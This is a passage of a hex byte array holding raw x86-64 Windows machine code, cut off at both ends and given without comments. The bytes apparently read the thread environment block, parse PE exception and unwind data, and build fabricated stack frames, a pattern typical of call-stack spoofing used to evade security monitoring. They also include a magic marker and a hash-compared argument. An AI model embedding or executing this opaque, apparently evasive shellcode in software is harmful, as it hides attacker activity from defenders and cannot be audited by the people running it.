xE0,0x41,0xB8,0x00,0x00,0x00,0x00,0x48,0x89,0xC1,0xE8,0x70,0x4C,0x00,0x00,0x48,0x89,0x45,0xF0,0x48,0x83,0x7D,0xF0,0x00,0x0F,0x84,0x88,0x01,0x00,0x00,0x48,0x8B,0x45,0x10,0x48,0x8B,0x55,0xF0,0x48,0x89,0x90,0x28,0x05,0x00,0x00,0x48,0x8B,0x45,0x10,0x48,0x8B,0x55,0xF0,0x48,0x89,0x90,0x48,0x07,0x00,0x00,0x48,0x8B,0x45,0x10,0x0F,0xB6,0x80,0x40,0x05,0x00,0x00,0x84,0xC0,0x74,0x79,0x48,0x8B,0x45,0xD0,0x48,0x89,0xC1,0x48,0x8B,0x45,0x10,0x48,0x8B,0x80,0x28,0x05,0x00,0x00,0x48,0x89,0xC2,0x48,0x89,0xC8,0x48,0x29,0xD0,0x89,0xC2,0x8B,0x45,0xCC,0x01,0xD0,0x83,0xE8,0x01,0x89,0x45,0xDC,0x48,0x8B,0x45,0x10,0x4C,0x8D,0x88,0x40,0x05,0x00,0x00,0x48,0x8B,0x45,0x10,0x4C,0x8D,0x80,0x40,0x06,0x00,0x00,0x48,0x8B,0x45,0x10,0x48,0x8B,0x80,0x28,0x05,0x00,0x00,0x8B,0x55,0xDC,0x48,0x8D,0x4D,0xC0,0x48,0x89,0x4C,0x24,0x20,0x48,0x89,0xC1,0xE8,0xBA,0xFA,0xFF,0xFF,0x89,0x45,0xEC,0x83,0x7D,0xEC,0x00,0x0F,0x84,0xF4,0x00,0x00,0x00,0x48,0x8B,0x55,0xC0,0x48,0x8B,0x45,0x10,0x48,0x89,0x90,0x28,0x05,0x00,0x00,0x48,0x8B,0x45,0x10,0x8B,0x80,0x18,0x05,0x00,0x00,0x85,0xC0,0x74,0x66,0x48,0x8B,0x45,0xD0,0x48,0x89,0xC1,0x48,0x8B,0x45,0x10,0x48,0x8B,0x80,0x28,0x05,0x00,0x00,0x48,0x89,0xC2,0x48,0x89,0xC8,0x48,0x29,0xD0,0x89,0xC2,0x8B,0x45,0xCC,0x01,0xD0,0x83,0xE8,0x01,0x89,0x45,0xDC,0x48,0x8B,0x45,0x10,0x8B,0x80,0x18,0x05,0x00,0x00,0x39,0x45,0xDC,0x0F,0x82,0x9F,0x00,0x00,0x00,0x48,0x8B,0x45,0x10,0x48,0x8B,0x80,0x28,0x05,0x00,0x00,0x48,0x89,0xC2,0x48,0x8B,0x45,0x10,0x8B,0x80,0x18,0x05,0x00,0x00,0x89,0xC0,0x48,0x01,0xD0,0x48,0x89,0xC2,0x48,0x8B,0x45,0x10,0x48,0x89,0x90,0x28,0x05,0x00,0x00,0x48,0x8B,0x45,0x10,0x48,0x8B,0x80,0x48,0x07,0x00,0x00,0x48,0x85,0xC0,0x74,0x30,0x48,0x8B,0x45,0x10,0x48,0x8B,0x80,0x28,0x05,0x00,0x00,0x48,0x89,0xC1,0x48,0x8B,0x45,0x10,0x48,0x8B,0x80,0x48,0x07,0x00,0x00,0x48,0x89,0xC2,0x48,0x89,0xC8,0x48,0x29,0xD0,0x89,0xC2,0x48,0x8B,0x45,0x10,0x89,0x90,0x50,0x07,0x00,0x00,0xEB,0x1F,0x48,0x8B,0x45,0x10,0x48,0x8B,0x80,0x28,0x05,0x00,0x00,0x48,0x89,0xC2,0x48,0x8B,0x45,0xE0,0x48,0x29,0xC2,0x48,0x8B,0x45,0x10,0x89,0x90,0x50,0x07,0x00,0x00,0xC7,0x45,0xFC,0x01,0x00,0x00,0x00,0xEB,0x0D,0x90,0xEB,0x0A,0x90,0xEB,0x07,0x90,0xEB,0x04,0x90,0xEB,0x01,0x90,0x8B,0x45,0xFC,0x48,0x83,0xC4,0x70,0x5D,0xC3,0x55,0x48,0x89,0xE5,0x48,0x83,0xEC,0x60,0x48,0x89,0x4D,0x10,0x89,0x55,0x18,0x44,0x89,0x45,0x20,0x4C,0x89,0x4D,0x28,0xC7,0x45,0xFC,0x00,0x00,0x00,0x00,0x48,0xC7,0x45,0xE8,0x00,0x00,0x00,0x00,0xC7,0x45,0xE4,0x00,0x00,0x00,0x00,0xC7,0x45,0xE0,0x00,0x00,0x00,0x00,0xC7,0x45,0xF8,0x00,0x00,0x00,0x00,0xC7,0x45,0xF4,0x00,0x00,0x00,0x00,0xC7,0x45,0xDC,0x00,0x00,0x00,0x00,0xC7,0x45,0xF0,0x01,0x00,0x00,0x00,0x48,0xB8,0x01,0x02,0x01,0x01,0x02,0x03,0x01,0x00,0x48,0x89,0x45,0xC4,0xC7,0x45,0xCC,0x02,0x03,0x01,0x01,0x48,0x8B,0x45,0xC4,0x48,0x89,0x45,0xD0,0x8B,0x45,0xCC,0x89,0x45,0xD8,0xC7,0x45,0xE4,0x00,0x00,0x00,0x00,0xC7,0x45,0xE0,0x00,0x00,0x00,0x00,0xC7,0x45,0xF8,0x00,0x00,0x00,0x00,0xC7,0x45,0xF4,0x00,0x00,0x00,0x00,0xC7,0x45,0xF0,0x01,0x00,0x00,0x00,0x48,0x8B,0x45,0x28,0x8B,0x40,0x08,0x89,0xC2,0x48,0x8B,0x45,0x30,0x48,0x01,0xD0,0x48,0x89,0x45,0xE8,0x48,0x8B,0x45,0x10,0x48,0x8B,0x80,0x28,0x05,0x00,0x00,0x89,0xC1,0x48,0x8B,0x45,0x28,0x8B,0x00,0x48,0x8B,0x55,0x30,0x01,0xC2,0x89,0xC8,0x29,0xD0,0x89,0x45,0xDC,0xE9,0x17,0x02,0x00,0x00,0x48,0x8B,0x45,0xE8,0x8B,0x55,0xF8,0x0F,0xB6,0x44,0x50,0x05,0x83,0xE0,0x0F,0x0F,0xB6,0xC0,0x89,0x45,0xE4,0x48,0x8B,0x45,0xE8,0x8B,0x55,0xF8,0x0F,0xB6,0x44,0x50,0x05,0xC0,0xE8,0x04,0x0F,0xB6,0xC0,0x89,0x45,0xE0,0x48,0x8B,0x45,0xE8,0x8B,0x55,0xF8,0x0F,0xB6,0x44,0x50,0x04,0x0F,0xB6,0xC0,0x39,0x45,0xDC,0x0F,0x82,0xB7,0x01,0x00,0x00,0x83,0x7D,0xE4,0x00,0x75,0x5B,0x48,0x8B,0x45,0x10,0x8B,0x80,0x1C,0x05,0x00,0x00,0x8D,0x50,0x08,0x48,0x8B,0x45,0x10,0x89,0x90,0x1C,0x05,0x00,0x00,0x83,0x7D,0xE0,0x05,0x0F,0x85,0x8A,0x01,0x00,0x00,0x48,0x8B,0x45,0x10,0xC7,0x80,0x30,0x05,0x00,0x00,0x01,0x00,0x00,0x00,0x48,0x8B,0x45,0xE8,0x0F,0xB6,0x40,0x02,0x0F,0xB6,0xD0,0x48,0x8B,0x45,0x10,0x89,0x90,0x34,0x05,0x00,0x00,0x8B,0x45,0xF8,0x83,0xC0,0x01,0x89,0xC2,0x48,0x8B,0x45,0x10,0x89,0x90,0x38,0x05,0x00,0x00,0xE9,0x50,0x01,0x00,0x00,0x83,0x7D,0xE4,0x04,0x75,0x09,0x83,0x45,0xF8,0x01,0xE9,0x41,0x01,0x00,0x00,0x83,0x7D,0xE4,0x05,0x75,0x09,0x83,0x45,0xF8,0x02,0xE9,0x32,0x01,0x00,0x00,0x83,0x7D,0xE4,0x02,0x75,0x24,0x48,0x8B,0x45,0x10,0x8B,0x80,0x1C,0x05,0x00,0x00,0x8B,0x55,0xE0,0x83,0xC2,0x01,0xC1,0xE2,0x03,0x01,0xC2,0x48,0x8B,0x45,0x10,0x89,0x90,0x1C,0x05,0x00,0x00,0xE9,0x08,0x01,0x00,0x00,0x83,0x7D,0xE4,0x01,0x75,0x59,0x83,0x45,0xF8,0x01,0x48,0x8B,0x45,0xE8,0x8B,0x55,0xF8,0x0F,0xB7,0x44,0x50,0x04,0x0F,0xB7,0xC0,0x89,0x45,0xF4,0x83,0x7D,0xE0,0x00,0x75,0x06,0xC1,0x65,0xF4,0x03,0xEB,0x19,0x83,0x45,0xF8,0x01,0x48,0x8B,0x45,0xE8,0x8B,0x55,0xF8,0x0F,0xB7,0x44,0x50,0x04,0x0F,0xB7,0xC0,0xC1,0xE0,0x10,0x01,0x45,0xF4,0x48,0x8B,0x45,0x10,0x8B,0x90,0x1C,0x05,0x00,0x00,0x8B,0x45,0xF4,0x01,0xC2,0x48,0x8B,0x45,0x10,0x89,0x90,0x1C,0x05,0x00,0x00,0xE9,0xA9,0x00,0x00,0x00,0x83,0x7D,0xE4,0x03,0x75,0x31,0x48,0x8B,0x45,0x10,0xC7,0x80,0x20,0x05,0x00,0x00,0x01,0x00,0x00,0x00,0x83,0x7D,0x18,0x00,0x0F,0x85,0x8B,0x00,0x00,0x00,0x48,0x8B,0x45,0x10,0x8B,0x80,0x1C,0x05,0x00,0x00,0x8D,0x50,0xF0,0x48,0x8B,0x45,0x10,0x89,0x90,0x1C,0x05,0x00,0x00,0xEB,0x72,0x83,0x7D,0xE4,0x06,0x74,0x6C,0x83,0x7D,0xE4,0x08,0x75,0x06,0x83,0x45,0xF8,0x01,0xEB,0x60,0x83,0x7D,0xE4,0x09,0x75,0x06,0x83,0x45,0xF8,0x02,0xEB,0x54,0x83,0x7D,0xE4,0x0A,0x75,0x24,0x48,0x8B,0x45,0x10,0xC7,0x80,0x54,0x07,0x00,0x00,0x01,0x00,0x00,0x00,0x83,0x7D,0xE0,0x00,0x0F,0x95,0xC0,0x0F,0xB6,0xD0,0x48,0x8B,0x45,0x10,0x89,0x90,0x58,0x07,0x00,0x00,0xEB,0x62,0x8B,0x45,0xE4,0x89,0xC2,0x48,0x8D,0x05,0x27,0xF1,0x00,0x00,0x48,0x89,0xC1,0xE8,0x27,0x27,0x00,0x00,0x48,0x8D,0x05,0x3A,0xF1,0x00,0x00,0x48,0x89,0xC1,0xE8,0x18,0x27,0x00,0x00,0xC7,0x45,0xF0,0x00,0x00,0x00,0x00,0x83,0x45,0xF8,0x01,0xEB,0x1E,0x8B,0x45,0xE4,0x0F,0xB6,0x44,0x05,0xD0,0x0F,0xB6,0xC0,0x01,0x45,0xF8,0x83,0x7D,0xE4,0x01,0x75,0x0A,0x83,0x7D,0xE0,0x00,0x74,0x04,0x83,0x45,0xF8,0x01,0x48,0x8B,0x45,0xE8,0x0F,0xB6,0x40,0x02,0x0F,0xB6,0xC0,0x39,0x45,0xF8,0x0F,0x82,0xD5,0xFD,0xFF,0xFF,0x83,0x7D,0xF0,0x00,0x74,0x7E,0x48,0x8B,0x45,0xE8,0x0F,0xB6,0x00,0xC0,0xE8,0x03,0x0F,0xB6,0xC0,0x83,0xE0,0x04,0x85,0xC0,0x74,0x32,0x48,0x8B,0x45,0xE8,0x0F,0xB6,0x40,0x02,0x0F,0xB6,0xC0,0x89,0x45,0xF8,0x8B,0x45,0xF8,0x83,0xE0,0x01,0x85,0xC0,0x74,0x04,0x83,0x45,0xF8,0x01,0x8B,0x45,0xF8,0x48,0x8D,0x14,0x00,0x48,0x8B,0x45,0xE8,0x48,0x01,0xD0,0x48,0x83,0xC0,0x04,0x48,0x89,0x45,0x28,0x48,0x8B,0x45,0xE8,0x0F,0xB6,0x00,0xC0,0xE8,0x03,0x0F,0xB6,0xC0,0x83,0xE0,0x04,0x85,0xC0,0x0F,0x85,0x15,0xFD,0xFF,0xFF,0x48,0x8B,0x45,0x10,0x8B,0x80,0x1C,0x05,0x00,0x00,0x8D,0x50,0x08,0x48,0x8B,0x45,0x10,0x89,0x90,0x1C,0x05,0x00,0x00,0xC7,0x45,0xFC,0x01,0x00,0x00,0x00,0xEB,0x01,0x90,0x8B,0x45,0xFC,0x48,0x83,0xC4,0x60,0x5D,0xC3,0x55,0x48,0x89,0xE5,0x48,0x83,0xEC,0x50,0x48,0x89,0x4D,0x10,0x89,0x55,0x18,0x44,0x89,0x45,0x20,0xC7,0x45,0xFC,0x00,0x00,0x00,0x00,0xC7,0x45,0xF8,0x00,0x00,0x00,0x00,0x48,0xC7,0x45,0xF0,0x00,0x00,0x00,0x00,0x48,0xC7,0x45,0xE8,0x00,0x00,0x00,0x00,0x48,0x8B,0x45,0x10,0x48,0x8B,0x80,0x28,0x05,0x00,0x00,0x48,0x89,0xC1,0x48,0x8D,0x55,0xE8,0x48,0x8D,0x45,0xF0,0x49,0x89,0xD0,0x48,0x89,0xC2,0xE8,0x74,0x05,0x00,0x00,0x89,0x45,0xF8,0x48,0x8B,0x45,0xF0,0x48,0x85,0xC0,0x74,0x32,0x48,0x8B,0x4D,0xE8,0x4C,0x8B,0x4D,0xF0,0x44,0x8B,0x45,0x20,0x8B,0x55,0x18,0x48,0x8B,0x45,0x10,0x48,0x89,0x4C,0x24,0x20,0x48,0x89,0xC1,0xE8,0xFA,0xFB,0xFF,0xFF,0x89,0x45,0xF8,0x83,0x7D,0xF8,0x00,0x74,0x0C,0xC7,0x45,0xFC,0x01,0x00,0x00,0x00,0xEB,0x04,0x90,0xEB,0x01,0x90,0x8B,0x45,0xFC,0x48,0x83,0xC4,0x50,0x5D,0xC3,0x55,0x48,0x89,0xE5,0x48,0x83,0xEC,0x30,0x48,0x89,0x4D,0x10,0x89,0x55,0x18,0xC7,0x45,0xF8,0x00,0x00,0x00,0x00,0x48,0xC7,0x45,0xF0,0x00,0x00,0x00,0x00,0xC7,0x45,0xFC,0x00,0x00,0x00,0x00,0xEB,0x6E,0x8B,0x45,0xFC,0x48,0x69,0xD0,0x60,0x07,0x00,0x00,0x48,0x8B,0x45,0x10,0x48,0x01,0xD0,0x48,0x89,0x45,0xF0,0x48,0x8B,0x45,0xF0,0xC7,0x80,0x40,0x07,0x00,0x00,0x00,0x00,0x00,0x00,0x48,0x8B,0x45,0xF0,0x48,0x89,0xC1,0xE8,0xCB,0xF8,0xFF,0xFF,0x89,0x45,0xF8,0x83,0x7D,0xF8,0x00,0x74,0x2E,0x8B,0x4D,0x18,0x8B,0x55,0xFC,0x48,0x8B,0x45,0xF0,0x41,0x89,0xC8,0x48,0x89,0xC1,0xE8,0xEF,0xFE,0xFF,0xFF,0x89,0x45,0xF8,0x83,0x7D,0xF8,0x00,0x74,0x13,0x48,0x8B,0x45,0xF0,0xC7,0x80,0x40,0x07,0x00,0x00,0x01,0x00,0x00,0x00,0xEB,0x04,0x90,0xEB,0x01,0x90,0x83,0x45,0xFC,0x01,0x8B,0x45,0xFC,0x3B,0x45,0x18,0x72,0x8A,0x90,0x90,0x48,0x83,0xC4,0x30,0x5D,0xC3,0x55,0x48,0x89,0xE5,0x48,0x89,0x4D,0x10,0x48,0x89,0x55,0x18,0x48,0x8B,0x45,0x10,0x48,0x8B,0x40,0x30,0x48,0x83,0xE8,0x08,0x48,0x89,0xC2,0x48,0x8B,0x45,0x10,0x48,0x89,0x50,0x30,0x48,0x8B,0x45,0x10,0x48,0x8B,0x40,0x30,0x48,0x8B,0x55,0x18,0x48,0x89,0x10,0x90,0x5D,0xC3,0x55,0x53,0x48,0x83,0xEC,0x68,0x48,0x8D,0x6C,0x24,0x60,0x48,0x89,0x4D,0x20,0x89,0x55,0x28,0x4C,0x89,0x45,0x30,0x48,0xC7,0x45,0xF8,0x00,0x00,0x00,0x00,0xC7,0x45,0xF4,0x00,0x00,0x00,0x00,0x48,0xC7,0x45,0xD8,0x00,0x00,0x00,0x00,0x48,0x8B,0x45,0x30,0x48,0xC7,0x40,0x38,0x00,0x00,0x00,0x00,0x48,0x8B,0x45,0x30,0xBA,0x00,0x00,0x00,0x00,0x48,0x89,0xC1,0xE8,0x81,0xFF,0xFF,0xFF,0xC7,0x45,0xF0,0x00,0x00,0x00,0x00,0xE9,0x0F,0x03,0x00,0x00,0x8B,0x45,0x28,0x2B,0x45,0xF0,0x83,0xE8,0x01,0x89,0xC0,0x48,0x69,0xD0,0x60,0x07,0x00,0x00,0x48,0x8B,0x45,0x20,0x48,0x01,0xD0,0x48,0x89,0x45,0xD8,0x48,0x8B,0x45,0xD8,0x8B,0x80,0x40,0x07,0x00,0x00,0x85,0xC0,0x0F,0x84,0xDB,0x02,0x00,0x00,0x48,0x8B,0x45,0xD8,0x8B,0x80,0x54,0x07,0x00,0x00,0x85,0xC0,0x0F,0x84,0x5F,0x01,0x00,0x00,0x48,0x8B,0x45,0x30,0x48,0x8B,0x40,0x30,0x48,0x8B,0x00,0x48,0x89,0x45,0xC8,0x48,0x8B,0x45,0x30,0x48,0x8B,0x40,0x30,0x48,0x83,0xC0,0x08,0x48,0x89,0x45,0xC0,0x48,0x8B,0x45,0x30,0x48,0x8B,0x40,0x30,0x48,0x89,0xC1,0x48,0x8B,0x45,0xD8,0x8B,0x80,0x1C,0x05,0x00,0x00,0x89,0xC2,0x48,0x89,0xC8,0x48,0x29,0xD0,0x48,0x89,0xC2,0x48,0x8B,0x45,0x30,0x48,0x89,0x50,0x30,0x48,0x8B,0x45,0xD8,0x8B,0x80,0x1C,0x05,0x00,0x00,0x83,0xE8,0x08,0x89,0x45,0xEC,0x48,0x8B,0x45,0xD8,0x8B,0x80,0x58,0x07,0x00,0x00,0x85,0xC0,0x74,0x04,0x83,0x45,0xEC,0x08,0x48,0x8B,0x45,0x30,0x48,0x8B,0x40,0x30,0x48,0x89,0xC2,0x8B,0x45,0xEC,0x48,0x01,0xD0,0x48,0x83,0xC0,0x28,0x48,0xC7,0x00,0x00,0x00,0x00,0x00,0x48,0x8B,0x45,0x30,0x48,0x8B,0x40,0x30,0x48,0x89,0xC2,0x8B,0x45,0xEC,0x48,0x01,0xD0,0x48,0x83,0xC0,0x20,0x48,0x89,0xC3,0x48,0x8B,0x55,0xC0,0x48,0x8B,0x45,0x30,0x48,0x89,0xC1,0xE8,0x60,0xF0,0xFF,0xFF,0x48,0x89,0x03,0x48,0x8B,0x45,0x30,0x48,0x8B,0x40,0x30,0x48,0x89,0xC2,0x8B,0x45,0xEC,0x48,0x01,0xD0,0x48,0x83,0xC0,0x18,0x48,0xC7,0x00,0x00,0x00,0x00,0x00,0x48,0x8B,0x45,0x30,0x48,0x8B,0x40,0x30,0x48,0x89,0xC2,0x8B,0x45,0xEC,0x48,0x01,0xD0,0x48,0x83,0xC0,0x10,0x48,0xC7,0x00,0x00,0x00,0x00,0x00,0x48,0x8B,0x45,0x30,0x48,0x8B,0x40,0x30,0x48,0x89,0xC2,0x8B,0x45,0xEC,0x48,0x01,0xD0,0x48,0x83,0xC0,0x08,0x48,0x89,0xC2,0x48,0x8B,0x45,0xC8,0x48,0x89,0x02,0x48,0x8B,0x45,0xD8,0x8B,0x80,0x58,0x07,0x00,0x00,0x85,0xC0,0x74,0x18,0x48,0x8B,0x45,0x30,0x48,0x8B,0x40,0x30,0x48,0x89,0xC2,0x8B,0x45,0xEC,0x48,0x01,0xD0,0x48,0xC7,0x00,0x00,0x00,0x00,0x00,0x48,0x8B,0x45,0x30,0x48,0x8B,0x40,0x30,0x48,0x8B,0x55,0xD8,0x48,0x8B,0x92,0x28,0x05,0x00,0x00,0x48,0x89,0x10,0x48,0x8B,0x45,0x30,0x48,0x8B,0x40,0x30,0x48,0x83,0xE8,0x08,0x48,0x89,0xC2,0x48,0x8B,0x45,0x30,0x48,0x89,0x50,0x38,0xE9,0x42,0x01,0x00,0x00,0x83,0x7D,0xF4,0x00,0x0F,0x84,0xE3,0x00,0x00,0x00,0x48,0x8B,0x45,0xD8,0x8B,0x80,0x30,0x05,0x00,0x00,0x85,0xC0,0x0F,0x84,0xD1,0x00,0x00,0x00,0x48,0x8B,0x45,0xD8,0x8B,0x90,0x34,0x05,0x00,0x00,0x48,0x8B,0x45,0xD8,0x8B,0x80,0x38,0x05,0x00,0x00,0x89,0xC1,0x89,0xD0,0x29,0xC8,0x89,0x45,0xD4,0xC7,0x45,0xE8,0x00,0x00,0x00,0x00,0xC7,0x45,0xE4,0x00,0x00,0x00,0x00,0xEB,0x19,0x48,0x8B,0x45,0x30,0xBA,0x00,0x00,0x00,0x00,0x48,0x89,0xC1,0xE8,0x7B,0xFD,0xFF,0xFF,0x83,0x45,0xE8,0x08,0x83,0x45,0xE4,0x01,0x8B,0x45,0xE4,0x3B,0x45,0xD4,0x72,0xDF,0x48,0x8B,0x55,0xF8,0x48,0x8B,0x45,0x30,0x48,0x89,0xC1,0xE8,0x34,0xEF,0xFF,0xFF,0x48,0x89,0xC2,0x48,0x8B,0x45,0x30,0x48,0x89,0xC1,0xE8,0x4C,0xFD,0xFF,0xFF,0x48,0x8B,0x45,0x30,0x48,0x8B,0x40,0x30,0x48,0x89,0xC1,0x48,0x8B,0x45,0xD8,0x8B,0x80,0x1C,0x05,0x00,0x00,0x2B,0x45,0xE8,0x83,0xE8,0x08,0x89,0xC2,0x48,0x89,0xC8,0x48,0x29,0xD0,0x48,0x89,0xC2,0x48,0x8B,0x45,0x30,0x48,0x89,0x50,0x30,0x48,0x8B,0x45,0x30,0x48,0x8B,0x40,0x30,0x48,0x8B,0x55,0xD8,0x48,0x8B,0x92,0x28,0x05,0x00,0x00,0x48,0x89,0x10,0x48,0x8B,0x45,0x30,0x48,0x8B,0x40,0x30,0x48,0x83,0xE8,0x08,0x48,0x89,0xC2,0x48,0x8B,0x45,0x30,0x48,0x89,0x50,0x38,0xC7,0x45,0xF4,0x00,0x00,0x00,0x00,0xEB,0x55,0x48,0x8B,0x45,0x30,0x48,0x8B,0x40,0x30,0x48,0x89,0xC1,0x48,0x8B,0x45,0xD8,0x8B,0x80,0x1C,0x05,0x00,0x00,0x89,0xC2,0x48,0x89,0xC8,0x48,0x29,0xD0,0x48,0x89,0xC2,0x48,0x8B,0x45,0x30,0x48,0x89,0x50,0x30,0x48,0x8B,0x45,0x30,0x48,0x8B,0x40,0x30,0x48,0x8B,0x55,0xD8,0x48,0x8B,0x92,0x28,0x05,0x00,0x00,0x48,0x89,0x10,0x48,0x8B,0x45,0x30,0x48,0x8B,0x40,0x30,0x48,0x83,0xE8,0x08,0x48,0x89,0xC2,0x48,0x8B,0x45,0x30,0x48,0x89,0x50,0x38,0x48,0x8B,0x45,0xD8,0x8B,0x80,0x20,0x05,0x00,0x00,0x85,0xC0,0x74,0x1B,0x48,0x8B,0x45,0x30,0x48,0x8B,0x40,0x30,0x48,0x89,0x45,0xF8,0x48,0x83,0x45,0xF8,0x08,0xC7,0x45,0xF4,0x01,0x00,0x00,0x00,0xEB,0x01,0x90,0x83,0x45,0xF0,0x01,0x8B,0x45,0xF0,0x3B,0x45,0x28,0x0F,0x82,0xE5,0xFC,0xFF,0xFF,0x90,0x90,0x48,0x83,0xC4,0x68,0x5B,0x5D,0xC3,0x48,0x8B,0x04,0x24,0xC3,0x90,0x0F,0x0B,0x48,0x8D,0x44,0x24,0x08,0xC3,0x90,0x0F,0x0B,0x55,0x48,0x89,0xE5,0x48,0x83,0xEC,0x40,0x48,0x89,0x4D,0x10,0x48,0x89,0x55,0x18,0x4C,0x89,0x45,0x20,0x4C,0x89,0x4D,0x28,0x48,0x8B,0x45,0x10,0x48,0x89,0xC1,0xE8,0xC5,0x3E,0x00,0x00,0x48,0x89,0x45,0xF8,0x48,0x83,0x7D,0xF8,0x00,0x0F,0x84,0x8A,0x00,0x00,0x00,0x48,0x8B,0x45,0xF8,0x8B,0x40,0x3C,0x48,0x63,0xD0,0x48,0x8B,0x45,0xF8,0x48,0x01,0xD0,0x48,0x89,0x45,0xF0,0x48,0x8B,0x45,0xF0,0x8B,0x80,0xA0,0x00,0x00,0x00,0x89,0x45,0xEC,0x48,0x8B,0x45,0xF0,0x8B,0x80,0xA4,0x00,0x00,0x00,0x89,0x45,0xE8,0x83,0x7D,0xE8,0x00,0x74,0x3E,0x48,0x8B,0x45,0x18,0x48,0x8B,0x55,0xF8,0x48,0x89,0x10,0x8B,0x45,0xE8,0x89,0xC2,0xB8,0xAB,0xAA,0xAA,0xAA,0x48,0x0F,0xAF,0xC2,0x48,0xC1,0xE8,0x20,0x89,0xC2,0xC1,0xEA,0x03,0x48,0x8B,0x45,0x28,0x89,0x10,0x8B,0x55,0xEC,0x48,0x8B,0x45,0xF8,0x48,0x01,0xD0,0x48,0x89,0xC2,0x48,0x8B,0x45,0x20,0x48,0x89,0x10,0xEB,0x18,0x48,0x8B,0x45,0x28,0xC7,0x00,0x00,0x00,0x00,0x00,0x48,0x8B,0x45,0x20,0x48,0xC7,0x00,0x00,0x00,0x00,0x00,0xEB,0x01,0x90,0x48,0x83,0xC4,0x40,0x5D,0xC3,0x55,0x48,0x89,0xE5,0x48,0x83,0xEC,0x50,0x48,0x89,0x4D,0x10,0x48,0x89,0x55,0x18,0x4C,0x89,0x45,0x20,0x48,0xC7,0x45,0xE0,0x00,0x00,0x00,0x00,0x48,0xC7,0x45,0xD8,0x00,0x00,0x00,0x00,0xC7,0x45,0xD4,0x00,0x00,0x00,0x00,0x48,0x8B,0x45,0x10,0x4C,0x8D,0x45,0xD4,0x48,0x8D,0x4D,0xD8,0x48,0x8D,0x55,0xE0,0x4D,0x89,0xC1,0x49,0x89,0xC8,0x48,0x89,0xC1,0xE8,0xF3,0xFE,0xFF,0xFF,0x48,0x8B,0x45,0xD8,0x48,0x85,0xC0,0x75,0x0A,0xB8,0x00,0x00,0x00,0x00,0xE9,0xC8,0x00,0x00,0x00,0x48,0x8B,0x45,0xE0,0x48,0x29,0x45,0x10,0xC7,0x45,0xFC,0x00,0x00,0x00,0x00,0x8B,0x45,0xD4,0x89,0x45,0xF8,0xEB,0x75,0x8B,0x55,0xFC,0x8B,0x45,0xF8,0x01,0xD0,0xD1,0xE8,0x89,0x45,0xF4,0x48,0x8B,0x4D,0xD8,0x8B,0x55,0xF4,0x48,0x89,0xD0,0x48,0x01,0xC0,0x48,0x01,0xD0,0x48,0xC1,0xE0,0x02,0x48,0x01,0xC8,0x48,0x89,0x45,0xE8,0x48,0x8B,0x45,0xE8,0x8B,0x00,0x89,0xC0,0x48,0x39,0x45,0x10,0x73,0x08,0x8B,0x45,0xF4,0x89,0x45,0xF8,0xEB,0x37,0x48,0x8B,0x45,0xE8,0x8B,0x40,0x04,0x89,0xC0,0x48,0x39,0x45,0x10,0x72,0x0B,0x8B,0x45,0xF4,0x83,0xC0,0x01,0x89,0x45,0xFC,0xEB,0x1D,0x48,0x8B,0x45,0x18,0x48,0x8B,0x55,0xE8,0x48,0x89,0x10,0x48,0x8B,0x55,0xE0,0x48,0x8B,0x45,0x20,0x48,0x89,0x10,0xB8,0x01,0x00,0x00,0x00,0xEB,0x3C,0x8B,0x45,0xF8,0x39,0x45,0xFC,0x72,0x83,0x48,0x8B,0x45,0xE0,0x48,0x89,0xC2,0x48,0x8B,0x45,0x10,0x48,0x01,0xD0,0x48,0x89,0xC2,0x48,0x8D,0x05,0x9D,0xE9,0x00,0x00,0x48,0x89,0xC1,0xE8,0x75,0x1F,0x00,0x00,0x48,0x8D,0x05,0x88,0xE9,0x00,0x00,0x48,0x89,0xC1,0xE8,0x66,0x1F,0x00,0x00,0xB8,0x00,0x00,0x00,0x00,0x48,0x83,0xC4,0x50,0x5D,0xC3,0xB8,0x30,0x00,0x00,0x00,0x65,0x48,0x8B,0x00,0xC3,0x90,0x0F,0x0B,0x55,0x53,0x48,0x81,0xEC,0xB8,0x00,0x00,0x00,0x48,0x8D,0xAC,0x24,0xB0,0x00,0x00,0x00,0x48,0x89,0x4D,0x20,0x89,0x55,0x28,0xC7,0x45,0xFC,0x00,0x00,0x00,0x00,0x48,0xC7,0x45,0xB8,0x00,0x00,0x00,0x00,0xC7,0x85,0x7C,0xFF,0xFF,0xFF,0x00,0x00,0x00,0x00,0x48,0xC7,0x45,0xF0,0x00,0x00,0x00,0x00,0x48,0xC7,0x45,0xE8,0x00,0x00,0x00,0x00,0x48,0xC7,0x45,0xE0,0x00,0x00,0x00,0x00,0x48,0xC7,0x45,0xB0,0x00,0x00,0x00,0x00,0x48,0xC7,0x45,0xA8,0x00,0x00,0x00,0x00,0x48,0xC7,0x45,0xA0,0x00,0x00,0x00,0x00,0xC7,0x45,0x9C,0x07,0x00,0x00,0x00,0xC7,0x45,0xDC,0x00,0x00,0x00,0x00,0x48,0xC7,0x45,0xD0,0x00,0x00,0x00,0x00,0x48,0xC7,0x45,0x90,0x00,0x00,0x00,0x00,0xC7,0x45,0x8C,0x08,0x00,0x00,0x00,0x48,0xB8,0xBE,0xBA,0xFE,0xCA,0xEF,0xBE,0xAD,0xDE,0x48,0x89,0x45,0x80,0xE8,0x5A,0xFF,0xFF,0xFF,0x48,0x89,0x45,0x90,0x48,0x8B,0x45,0x90,0x48,0x8B,0x40,0x10,0x48,0x89,0x45,0xA8,0x48,0x8B,0x45,0x90,0x48,0x8B,0x40,0x08,0x48,0x89,0xC1,0x48,0x8B,0x45,0x90,0x48,0x8B,0x40,0x10,0x48,0x89,0xC2,0x48,0x89,0xC8,0x48,0x29,0xD0,0x48,0x89,0x45,0xA0,0x48,0x8B,0x05,0xDE,0x69,0x01,0x00,0xFF,0xD0,0x41,0xB8,0x40,0xDD,0x00,0x00,0xBA,0x08,0x00,0x00,0x00,0x48,0x89,0xC1,0x48,0x8B,0x05,0xD7,0x69,0x01,0x00,0xFF,0xD0,0x48,0x89,0x45,0xB8,0x48,0x83,0x7D,0xB8,0x00,0x0F,0x84,0xD4,0x03,0x00,0x00,0x81,0x7D,0x28,0x0F,0x2A,0x9B,0xCD,0x75,0x15,0x48,0x8D,0x95,0x7C,0xFF,0xFF,0xFF,0x48,0x8B,0x45,0xB8,0x48,0x89,0xC1,0xE8,0x8D,0xEE,0xFF,0xFF,0xEB,0x14,0x48,0x8D,0x95,0x7C,0xFF,0xFF,0xFF,0x48,0x8B,0x45,0xB8,0x48,0x89,0xC1,0xE8,0x9E,0xEF,0xFF,0xFF,0x90,0x8B,0x85,0x7C,0xFF,0xFF,0xFF,0x83,0xF8,0x1E,0x76,0x23,0x48,0x8D,0x05,0x6C,0xE8,0x00,0x00,0x48,0x89,0xC1,0xE8,0x0